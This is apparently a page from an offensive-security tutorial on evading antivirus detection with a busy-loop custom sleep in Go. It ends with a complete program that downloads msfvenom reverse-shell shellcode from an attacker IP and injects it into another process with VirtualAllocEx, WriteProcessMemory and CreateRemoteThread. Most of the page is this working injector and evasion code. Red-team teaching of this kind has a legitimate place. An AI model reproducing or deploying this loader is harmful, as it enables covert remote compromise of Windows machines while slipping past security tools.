# 3. Custom Sleep function

Some times running the sleep function straight after execution begins is detected by AV engines as malicious. Creating a custom sleep function might be a better solution.&#x20;

There are endless ways of implementing a custom sleep function. A quick example is the following

{% code lineNumbers="true" %}

```go
	var t0, t1 time.Time
	fmt.Println("[+] Sleeping for 10 Seconds")
	t0 = time.Now()
	for {
		t1 = time.Now()
		diff := t1.Sub(t0)

		if diff.Seconds() > 10 {
			break
		}

	}

	fmt.Println("[+] Woke Up ... Execution Continues")
```

{% endcode %}

Similar to the previous step. The difference here is that we use an infinite loop as long as the difference of t0 and t1 is less than 10 seconds.&#x20;

The break command on line 9 allows us to exit the infinite loop.&#x20;

### Complete Code:

```go
package main

import (
	"fmt"
	"io"
	"log"
	"net/http"
	"syscall"
	"time"
	"unsafe"

	"golang.org/x/sys/windows"
)

func main() {
	var t0, t1 time.Time
	fmt.Println("[+] Sleeping for 10 Seconds")
	t0 = time.Now()
	for {
		t1 = time.Now()
		diff := t1.Sub(t0)

		if diff.Seconds() > 10 {
			break
		}

	}

	fmt.Println("[+] Woke Up ... Execution Continues")

	pid := uint32(2924)
	PROCESS_ALL_ACCESS := windows.STANDARD_RIGHTS_REQUIRED | windows.SYNCHRONIZE | 0xFFFF

	//msfvenom  -f raw -p windows/x64/shell_reverse_tcp LHOST=192.168.217.128 LPORT=443 -o shcode.malic
	sc, err := wget("http://192.168.217.128/shcode.malic")
	if err != nil {
		log.Fatalf("[FATAL] Unable to connect to the host %v ", err)
	}
	fmt.Printf("[+] Getting a handle on process with pid: %d\n", pid)
	pHandle, err := windows.OpenProcess(uint32(PROCESS_ALL_ACCESS), false, pid)
	if err != nil {
		log.Fatalf("[FATAL] Unable to get a handle on process with id: %d : %v ", pid, err)
	}

	fmt.Printf("[+] Obtained a handle 0x%x on process with ID: %d\n", pHandle, pid)

	modKernel32 := syscall.NewLazyDLL("kernel32.dll")
	procVirtualAllocEx := modKernel32.NewProc("VirtualAllocEx")

	addr, _, lastErr := procVirtualAllocEx.Call(
		uintptr(pHandle),
		uintptr(0),
		uintptr(len(sc)),
		uintptr(windows.MEM_COMMIT|windows.MEM_RESERVE),
		uintptr(windows.PAGE_READWRITE))

	if addr == 0 {
		log.Fatalf("[FATAL] VirtualAlloc Failed: %v\n", lastErr)
	}

	fmt.Printf("[+] Allocated Memory Address: 0x%x\n", addr)
	var numberOfBytesWritten uintptr
	err = windows.WriteProcessMemory(pHandle, addr, &sc[0], uintptr(len(sc)), &numberOfBytesWritten)
	if err != nil {
		log.Fatalf("[FATAL] Unable to write shellcode to the the allocated address")
	}
	fmt.Printf("[+] Wrote %d/%d bytes to destination address\n", numberOfBytesWritten, len(sc))

	var oldProtect uint32
	err = windows.VirtualProtectEx(pHandle, addr, uintptr(len(sc)), windows.PAGE_EXECUTE_READ, &oldProtect)

	if err != nil {
		log.Fatalf("[FATAL] VirtualProtect Failed: %v", err)
	}

	procCreateRemoteThread := modKernel32.NewProc("CreateRemoteThread")
	var threadId uint32 = 0
	tHandle, _, lastErr := procCreateRemoteThread.Call(
		uintptr(pHandle),
		uintptr(0),
		uintptr(0),
		addr,
		uintptr(0),
		uintptr(0),
		uintptr(unsafe.Pointer(&threadId)),
	)
	if tHandle == 0 {
		log.Fatalf("[FATAL] Unable to Create Remote Thread: %v \n", lastErr)
	}

	fmt.Printf("[+] Handle of newly created thread:  0x%x \n[+] Thread ID: %d\n", tHandle, threadId)
	//windows.WaitForSingleObject(windows.Handle(tHandle), windows.INFINITE)
}
func wget(url string) ([]byte, error) {
	resp, err := http.Get(url)

	if err != nil {
		return []byte{}, err
	}

	defer resp.Body.Close()

	body, err := io.ReadAll(resp.Body)

	if err != nil {
		return []byte{}, err
	}
	return body, nil
}

```
